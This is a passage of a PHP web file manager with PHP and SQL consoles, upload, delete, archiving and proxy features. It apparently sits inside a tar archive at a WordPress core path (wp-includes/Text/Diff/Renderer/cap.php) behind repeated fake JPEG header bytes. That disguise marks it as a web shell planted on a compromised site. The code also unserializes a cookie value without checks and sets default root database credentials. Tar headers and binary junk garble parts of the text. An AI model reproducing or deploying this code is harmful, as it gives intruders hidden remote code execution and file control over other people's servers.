		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
